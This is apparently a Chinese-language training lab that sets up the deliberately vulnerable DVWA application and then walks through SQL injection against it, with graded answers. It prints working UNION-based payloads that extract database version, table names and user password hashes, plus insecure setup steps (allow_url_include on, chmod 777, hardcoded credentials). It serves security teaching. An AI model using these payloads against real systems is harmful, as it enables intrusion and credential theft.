第1关:获取dvwa环境
问题描述
搭建dvwa环境,包括1、搭建LAMP服务;2、部署dvwa服务;3、访问dvwa主页。
相关知识
-
安装appach
首先更新源
apt update
安装apache2
apt install apache2 -y
启动apache2
service apache2 start
浏览器访问127.0.0.1,查看apache2是否正常运行
-
安装php
更新源,安装php
apt install php -y
安装常用模块
apt install php-pear php-fpm php-dev php-zip php-curl php-xmlrpc php-gd php-mysql php-mbstring php-xml libapache2-mod-php
查看php版本
php -v
重启apache2
service apache2 restart
修改apache配置文件
$ sudo vim /etc/php/7.0/apache2/php.ini
#allow_url_include = Off
allow_url_include = On # 设置为On
-
安装mysql
安装mysql
apt install mysql-server -y
启动mysql服务
service mysql start
测试数据库是否安装成功,使用root登录数据库。由于是root权限不需要密码
mysql -u root
查看数据库
show databases;
退出数据库
exit;
mysql安全配置初始化
mysql_secure_installation
Y为root用户添加密码插件
方便实验选择密码强度0
输入密码dvwa123456
移除匿名用户
禁止root远程登录
移除test数据库
刷新权限表
登录mysql
mysql -u root -p
为dvwa创建数据库
create database dvwa;
-
安装dvwa
切换到/var/www/html目录
cd /var/www/html
下载dvwa
git clone GitHub - digininja/DVWA: Damn Vulnerable Web Application (DVWA)
修改配置文件
$ cd /var/www/html/DVWA/config
$ cp config.inc.php.dist config.inc.php
$ vim config.inc.php
...
$_DVWA[ 'db_user' ] = 'root';
$_DVWA[ 'db_password' ] = 'dvwa123456';
$_DVWA[ 'recaptcha_public_key' ] = '6LdJJlUUAAAAAH1Q6cTpZRQ2Ah8VpyzhnffD0mBb';
$_DVWA[ 'recaptcha_private_key' ] = '6LdJJlUUAAAAAM2a3HrgzLczqdYp4g05EqDs-W4K';
给文件夹赋予权限
sudo chmod 777 -R /var/www/html/DVWA/hackable/uploads/
sudo chmod 777 /var/www/html/DVWA/external/phpids/0.6/lib/IDS/tmp/phpids_log.txt
sudo chmod 777 -R /var/www/html/DVWA/config
访问127.0.0.1/DVWA/setup.php,点击Create/Reset Database
成功之后会自动跳转到登录界面用户名为admin,密码为password
第2关:获取数据库名称、账户名、版本及操作系统信息
问题描述
在上一章的基础上判断是否存在SQL注入漏洞。
相关知识
1.SQL注入分类
SQL 注入的分类,基于从服务器接收到的响应,可以划分为:
- 联合查询注入
- 基于错误的 SQL 注入
- 堆查询注入
- 基于布尔 SQL 盲注
- 基于时间的 SQL 盲注
- 基于报错的 SQL 盲注
2.注入中常用的系统函数
列举 mysql 中几个常用函数(这些函数常用与 SQL 注入点的判断)。
- version()——MySQL 版本
- user()——数据库用户名
- database()——数据库名
- @@datadir——数据库路径
- @@version_compile_os——操作系统版本
3.字符串连接函数
字符串连接函数在构造 SQL 注入中也常使用:
- concat(str1,str2,...)——没有分隔符地连接字符串;
- concat_ws(separator,str1,str2,...)——含有分隔符地连接字符串;
- group_concat(str1,str2,...)——连接一个组的所有字符串,并以逗号分隔每一条数据。
4.逻辑运算
逻辑运算符在 SQL 注入中发挥着十分重要的作用如:||、&&、& 等,其本身含义很容易理解,这里不做过多介绍,等到后面涉及到真正的实操时再做进一步解释。
-
sql实践
在第一关的基础上,登录dvwa平台,用户名为"admin",密码为"password",
并访问127.0.0.1/DVWA/security.php,设置安全等级为low,然后Submit提交。
点击SQL Injection,并在id处输入1。可以看到
输入1',可以看到报错。可能存在sql注入
使用肯定为真的语句测试1' or '1' = '1。输出了所有用户信息,判断肯定存在sql注入
判断sql注入返回的列数,下面order by x表示输出按照第x列排序,#表示注释后面的sql语句。当x=3时报错,说明sql语句只返回两列信息。
- 1' order by 1 #
- 1' order by 2 #
- 1' order by 3 #
使用联合查询方法查询MySQL 版本和操作系统版本
1' union select version(),@@version_compile_os#
测试说明
使用sql注入查询数据库用户名和数据库名,
1' union select user(),database()#
并将用户名和数据库名写入/data/workspace/myshixun/result2中
写入result2中的内容为: root@localhost dvwa
第3关:获取数据库表名、列名
问题描述
在上一章的基础上获取数据库表名、列名。
相关知识
-
SQL注入实践
每一个mysql都存在一个系统库information_schema,里面有mysql的“骨架”即所有的数据库,数据表,相应的字段名。得到一个dvwa数据库与第二关database()获的的数据库名称相同
1' UNION SELECT 1,database() from information_schema.schemata#
利用下面语句可以查询information_schema下所有表的名字
1' UNION SELECT 1,table_name from information_schema.tables where table_schema='information_schema'#
测试说明
使用sql注入查询dvwa数据库的所有表名,
1' UNION SELECT 1,table_name from information_schema.tables where table_schema='dvwa'#
并将所有表明写入/data/workspace/myshixun/result3中
写入result3中的内容为: guestbook users
第4关:获取用户名密码,并猜测root用户
问题描述
在上一章的基础上获取用户名密码并猜测root用户。
相关知识
-
SQL注入实践
通过上一关的实践,我们已经得到了数据库dvwa的表名guestbook和users。 可以使用联合查询的方法查询对应表的所有列名分别为comment_id、comment、name
1' UNION SELECT 1,column_name from information_schema.columns where table_schema='dvwa' and table_name='guestbook'#
可以使用联合查询获取获得数据,因为列的数量大于2,所以需要使用group_concat将所有数据合并,并使用0x3a分割。
1' UNION SELECT 1,group_concat(comment_id,0x3a,comment,0x3a,name) from guestbook#
测试说明
- 使用sql注入查询users表中管理员的密码,
查询users表中的字段名称
1' UNION SELECT 1,column_name from information_schema.columns where table_schema='dvwa' and table_name='users'#
查询users表中管理员的密码
1' UNION SELECT 1,group_concat(user,0x3a,password,0x3a) from users#
并将解密密码/data/workspace/myshixun/result4中
例如查询到的密码为0d107d09f5bbe40cade3de5c71e9e9b7,需要使用在线网站解密后写入"letmein"
由上述例子可知,为md5解密方式,解密后的结果为: password
开始你的任务吧,祝你成功!